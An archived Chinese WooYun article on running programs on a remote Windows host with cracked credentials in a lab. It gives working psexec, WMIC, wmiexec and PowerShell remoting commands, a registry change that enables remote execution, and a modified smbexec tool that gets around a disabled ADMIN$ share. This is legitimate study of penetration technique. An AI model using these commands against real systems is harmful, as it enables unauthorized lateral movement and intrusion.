
        <html>
			<head>
			     <title>在远程系统上执行程序的技术整理 - 三好学生</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/7358">http://drops.wooyun.org/tips/7358</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p>上一篇学习了如何导出域内所有用户hash，那么，接下来准备用破解出的用户名口令尝试远程登陆目标主机并执行程序，结合实际环境做了如下测试.</p>

<h1>0x01 目标</h1>

<hr />

<p>远程登陆目标主机执行测试程序</p>

<!--more-->

<h1>0x02 测试环境</h1>

<hr />

<p>远程主机：</p>

<pre><code>ip：192.168.40.137   
用户名：test
口令：testtest
操作系统：win7 x64
</code></pre>

<p>远程登陆方式：</p>

<pre><code>net use远程登陆，不使用3389
</code></pre>

<p><strong><em>Tips：</em></strong></p>

<p>解决工作组环境无法远程登陆执行程序的方法：</p>

<blockquote>
  <p>HKEY&#95;LOCAL&#95;MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1</p>
</blockquote>

<h1>0x03 测试方法</h1>

<hr />

<h2>1、at&amp;schtasks</h2>

<p>计划任务方式执行程序。</p>

<p>条件：</p>

<pre><code>启动Task Scheduler服务  
</code></pre>

<h2>2、psexec</h2>

<p>PsTools工具之一，在指定的一台或多台计算机上运行应用程序</p>

<p>条件：</p>

<pre><code>需要开放ADMIN$共享
</code></pre>

<h2>3、WMIC</h2>

<p>功能强大，可做系统管理、远程主机信息获取</p>

<p>条件：</p>

<pre><code>启动WMI服务，开放135端口
本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
</code></pre>

<h2>4、wmiexec</h2>

<p>使用VBS脚本调用WMI来模拟psexec的功能，基本上psexec能用的地方，这个脚本也能够使用。</p>

<p>条件：</p>

<pre><code>启动WMI服务，开放135端口
本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
</code></pre>

<h1>0x04 实际测试</h1>

<hr />

<p>使用用户名口令远程登陆192.168.40.137，如图1</p>

<p><img src="http://static.wooyun.org//drops/20150724/2015072404450281890.net/20150722165932480" alt="这里写图片描述" /></p>

<p>查看目标主机共享资源，如图1-2</p>

<p><img src="http://static.wooyun.org//drops/20150724/2015072404450274736.net/20150722165949205" alt="这里写图片描述" /></p>

<h2>1、at&amp;schtasks</h2>

<pre><code>at \\192.168.40.137
</code></pre>

<p>找不到网络路径，判断是目标主机已禁用Task Scheduler服务</p>

<p>如图2</p>

<p><img src="http://static.wooyun.org//drops/20150724/2015072404450352052.net/20150722170001122" alt="这里写图片描述" /></p>

<h2>2、psexec</h2>

<pre><code>PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe
</code></pre>

<p>找不到网络名，判断目标主机已禁用ADMIN$共享</p>

<p>如图3</p>

<p><img src="http://static.wooyun.org//drops/20150724/2015072404450373059.net/20150722170011791" alt="这里写图片描述" /></p>

<h2>3、WMIC</h2>

<pre><code>wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe
</code></pre>

<p>Description = 无法启动服务，原因可能是已被禁用或与其相关联的设备没有启动，判断WMI服务被禁用</p>

<p>如图4</p>

<p><img src="http://static.wooyun.org//drops/20150724/2015072404450350419.net/20150722170022309" alt="这里写图片描述" /></p>

<h2>4、wmiexec</h2>

<pre><code>cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"
</code></pre>

<p>WMIEXEC ERROR: 无法启动服务，原因可能是已被禁用或与其相关联的设备没有启动，判断WMI服务被禁用</p>

<p>如图5</p>

<p><img src="http://static.wooyun.org//drops/20150724/2015072404450466305.net/20150722170033093" alt="这里写图片描述" /></p>

<h1>0x05 分析</h1>

<hr />

<p>整理下目前掌握的目标主机信息：</p>

<p>目标主机:</p>

<pre><code>1、已获得登陆用户名及口令
2、可以net use连接
3、开放共享C
</code></pre>

<p>但是：</p>

<pre><code>1、默认admin$共享关闭，无法使用psexec
2、Task scheduler关闭，无法使用at、schtasks
3、Windows Management Instrumentation服务关闭,关闭135端口无法使用wmic、wmiexec
4、不支持3389
</code></pre>

<p><strong>那么，如何在目标主机远程执行程序？</strong></p>

<p>猜测管理员应该是对常用的远程执行程序的方法做了限制，就在一筹莫展的时候突然想到了<code>smbexec</code>，它是基于<code>psexec</code>，如果目标主机开放了其他默认共享，倒是可以尝试<code>smbexec</code></p>

<p>于是搜索<code>smbexec</code>，终于在GitHub上面找到了一个<code>smbexec</code>的c++参考资料，作为工具改进模版</p>

<p><em>模版下载地址：</em></p>

<p><a href="https://github.com/sunorr/smbexec">https://github.com/sunorr/smbexec</a></p>

<h1>0x06 改进方案</h1>

<hr />

<p>模版中的bug不细讲，最终我成功用vc6实现了<code>psexec</code>的功能，同时也做了一些改进：</p>

<h2>1、可指定默认共享名</h2>

<p>为了完成上述测试，加入了参数来指定默认共享，如果<code>ADMIN$</code>共享关闭，那么可以尝试其他磁盘的默认共享</p>

<h2>2、分离安装服务的功能</h2>

<p>在实际测试过程中，如果<code>ADMIN$</code>共享关闭，<code>c$</code>共享开启，因为UAC的缘故，注册安装服务的功能会出现bug，采取的解决办法为将实现注册安装服务功能的exe单独上传至<code>c:\windows</code>下， 即可解决权限不够的问题</p>

<h1>0x07 方案测试</h1>

<hr />

<h3>1、工具说明</h3>

<p><strong>文件说明：</strong></p>

<pre><code>test.exe:主程序
execserver.exe：实现注册安装服务的辅助程序
</code></pre>

<p><strong>参数说明：</strong></p>

<pre><code>test.exe ip user password command netshare
</code></pre>

<p>eg:</p>

<pre><code>test.exe 192.168.40.137 test testtest whoami c$
</code></pre>

<h2>2、使用流程</h2>

<p>（1）上传execserver.exe至c:\windows</p>

<pre><code>copy execserver.exe \\192.168.40.137\c$\windows
</code></pre>

<p>（2）远程执行</p>

<pre><code>test.exe 192.168.40.137 test testtest whoami c$
</code></pre>

<p>如图6</p>

<p><img src="http://static.wooyun.org//drops/20150724/2015072404450423749.net/20150722170051721" alt="这里写图片描述" /></p>

<p><strong>最终我们通过改造的smbexec，突破目标主机限制，成功远程执行程序。</strong></p>

<p><em>程序源码下载链接：</em></p>

<p><a href="http://static.wooyun.org//drops/20150724/2015072404442894558smbexec_source.zip">smbexec_source.zip</a></p>

<h1>0x08 补充</h1>

<hr />

<h2>1、powershell remoting</h2>

<p>实现在目标主机远程执行程序后，可对目标主机开放powershell remoting，用作远程连接</p>

<p>条件：</p>

<pre><code>远程连接会有痕迹
本机要开启winRM服务
</code></pre>

<p>命令汇总：</p>

<p>列出所有远程信任主机</p>

<pre><code>powershell Get-Item WSMan:\localhost\Client\TrustedHosts
</code></pre>

<p>设置信任所有主机</p>

<pre><code>powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force 
</code></pre>

<p>设置允许运行ps1文件</p>

<pre><code>powershell Set-ExecutionPolicy Unrestricted 
</code></pre>

<p>执行test.ps1文件</p>

<pre><code>powershell -ExecutionPolicy Bypass -File test.ps1 
</code></pre>

<p>ps1文件如下：</p>

<pre><code>$UserName = "test" 
$serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)  
invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
</code></pre>

<h2>2、python smbexec</h2>

<p>随后用python写的smbexec也实现了相同的功能，但py2exe的时候遇到了大麻烦，如果有更简单的方法， 希望能得到你的帮助。</p>

<h1>0x09 小结</h1>

<hr />

<p>这篇文章共列举了六种远程执行程序的方法，如果已经成功登陆目标主机，却无法执行程序，最心塞的事情莫过于此。</p>

<pre><code>at 
psexec 
WMIC 
wmiexec 
smbexec 
powershell remoting
...
</code></pre>

<p>获得用户名口令，实现远程执行程序仅仅是个开始，内网渗透会很有趣。</p>

<p>水平有限，欢迎补充。</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          